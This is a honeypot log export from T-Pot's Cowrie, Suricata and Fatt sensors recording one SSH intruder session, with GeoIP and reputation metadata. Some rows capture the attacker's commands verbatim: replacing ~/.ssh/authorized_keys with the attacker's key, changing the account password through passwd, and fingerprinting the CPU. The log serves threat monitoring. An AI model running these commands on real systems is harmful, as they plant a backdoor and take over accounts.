33968	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:06.62342+03	2021-09-20 15:00:06.529037+03	{"_id": "nwYSA3wBvYTbRNuEDVLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bc991ff2412e", "@version": "1", "duration": 2.9233880043029785, "timestamp": "2021-09-20T11:58:06.623420Z", "@timestamp": "2021-09-20T11:58:06.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33969	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:07.670558+03	2021-09-20 15:00:06.530032+03	{"_id": "pAYSA3wBvYTbRNuEEVK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "183.17.231.81", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.604961633682251, "duplicate": true, "timestamp": "2021-09-20T11:58:07.670558Z", "@timestamp": "2021-09-20T11:58:07.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33970	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:09.08681+03	2021-09-20 15:00:06.531033+03	{"_id": "qQYSA3wBvYTbRNuEFVKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:09.086810Z", "@timestamp": "2021-09-20T11:58:09.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33971	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:09.087343+03	2021-09-20 15:00:06.532032+03	{"_id": "qAYSA3wBvYTbRNuEFVKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"1\\\\nxPFUTLAi1Ob7\\\\nxPFUTLAi1Ob7\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"1\\\\nxPFUTLAi1Ob7\\\\nxPFUTLAi1Ob7\\"|passwd|bash", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:09.087343Z", "@timestamp": "2021-09-20T11:58:09.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33972	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:09.6926+03	2021-09-20 15:00:06.533033+03	{"_id": "rAYSA3wBvYTbRNuEGVKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "214c0c15010130601c37d5a564a8768d7013a883598185056704ca176d8eef7c", "src_ip": "183.17.231.81", "ttylog": "log/tty/214c0c15010130601c37d5a564a8768d7013a883598185056704ca176d8eef7c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/214c0c15010130601c37d5a564a8768d7013a883598185056704ca176d8eef7c after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6058821678161621, "duplicate": false, "timestamp": "2021-09-20T11:58:09.692600Z", "@timestamp": "2021-09-20T11:58:09.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33973	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:10.107913+03	2021-09-20 15:00:06.535031+03	{"_id": "rgYSA3wBvYTbRNuEGVKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"1\\\\nxPFUTLAi1Ob7\\\\nxPFUTLAi1Ob7\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: echo \\"1\\\\nxPFUTLAi1Ob7\\\\nxPFUTLAi1Ob7\\\\n\\"|passwd", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:10.107913Z", "@timestamp": "2021-09-20T11:58:10.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33974	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:08.000649+03	2021-09-20 15:00:06.536033+03	{"_id": "rwYSA3wBvYTbRNuEGlK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:07.277009+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1776028956703249, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58156, "timestamp": "2021-09-20T11:58:08.000649Z", "@timestamp": "2021-09-20T11:58:08.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33975	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:10.708906+03	2021-09-20 15:00:06.537032+03	{"_id": "sAYSA3wBvYTbRNuEHVJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "193f752db54e95cf3d9461b95739d0f0789d40cc8ff9178be4f12f174233c641", "src_ip": "183.17.231.81", "ttylog": "log/tty/193f752db54e95cf3d9461b95739d0f0789d40cc8ff9178be4f12f174233c641", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/193f752db54e95cf3d9461b95739d0f0789d40cc8ff9178be4f12f174233c641 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6016168594360352, "duplicate": false, "timestamp": "2021-09-20T11:58:10.708906Z", "@timestamp": "2021-09-20T11:58:10.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33977	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:58:00.288018+03	2021-09-20 15:00:06.539032+03	{"_id": "ewYRA3wBvYTbRNuE9FKx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35896, "timestamp": "2021-09-20T11:58:00.288018", "@timestamp": "2021-09-20T11:58:00.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33978	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:07.065685+03	2021-09-20 15:00:06.541033+03	{"_id": "oQYSA3wBvYTbRNuEDVLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:07.065685Z", "@timestamp": "2021-09-20T11:58:07.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33979	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:07.667663+03	2021-09-20 15:00:06.542032+03	{"_id": "ogYSA3wBvYTbRNuEEVK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "183.17.231.81", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "7468c9710c83", "@version": "1", "destfile": "/home/admin1/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:58:07.667663Z", "@timestamp": "2021-09-20T11:58:07.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
33980	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:08.076235+03	2021-09-20 15:00:06.544031+03	{"_id": "pQYSA3wBvYTbRNuEEVK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:08.076235Z", "@timestamp": "2021-09-20T11:58:08.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33981	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:08.678254+03	2021-09-20 15:00:06.545032+03	{"_id": "pwYSA3wBvYTbRNuEFVKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "183.17.231.81", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6021173000335693, "duplicate": true, "timestamp": "2021-09-20T11:58:08.678254Z", "@timestamp": "2021-09-20T11:58:08.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33982	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:09.088967+03	2021-09-20 15:00:06.546032+03	{"_id": "qwYSA3wBvYTbRNuEFVKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:09.088967Z", "@timestamp": "2021-09-20T11:58:09.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
33983	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:10.107373+03	2021-09-20 15:00:06.547032+03	{"_id": "rQYSA3wBvYTbRNuEGVKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:10.107373Z", "@timestamp": "2021-09-20T11:58:10.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33984	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:11.097575+03	2021-09-20 15:00:06.549031+03	{"_id": "sQYSA3wBvYTbRNuEHVJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:11.097575Z", "@timestamp": "2021-09-20T11:58:11.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33985	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:11.098109+03	2021-09-20 15:00:06.550032+03	{"_id": "sgYSA3wBvYTbRNuEHVJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:11.098109Z", "@timestamp": "2021-09-20T11:58:11.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33986	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:07.066223+03	2021-09-20 15:00:06.551032+03	{"_id": "oAYSA3wBvYTbRNuEDVLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:07.066223Z", "@timestamp": "2021-09-20T11:58:07.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33987	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:08.076804+03	2021-09-20 15:00:06.552032+03	{"_id": "owYSA3wBvYTbRNuEEVK-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:08.076804Z", "@timestamp": "2021-09-20T11:58:08.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33988	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:09.088212+03	2021-09-20 15:00:06.553032+03	{"_id": "qgYSA3wBvYTbRNuEFVKn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:09.088212Z", "@timestamp": "2021-09-20T11:58:09.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33989	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:01.498352+03	2021-09-20 15:00:06.554032+03	{"_id": "ggYRA3wBvYTbRNuE-FKZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41108, "timestamp": "2021-09-20T11:58:01.498352", "@timestamp": 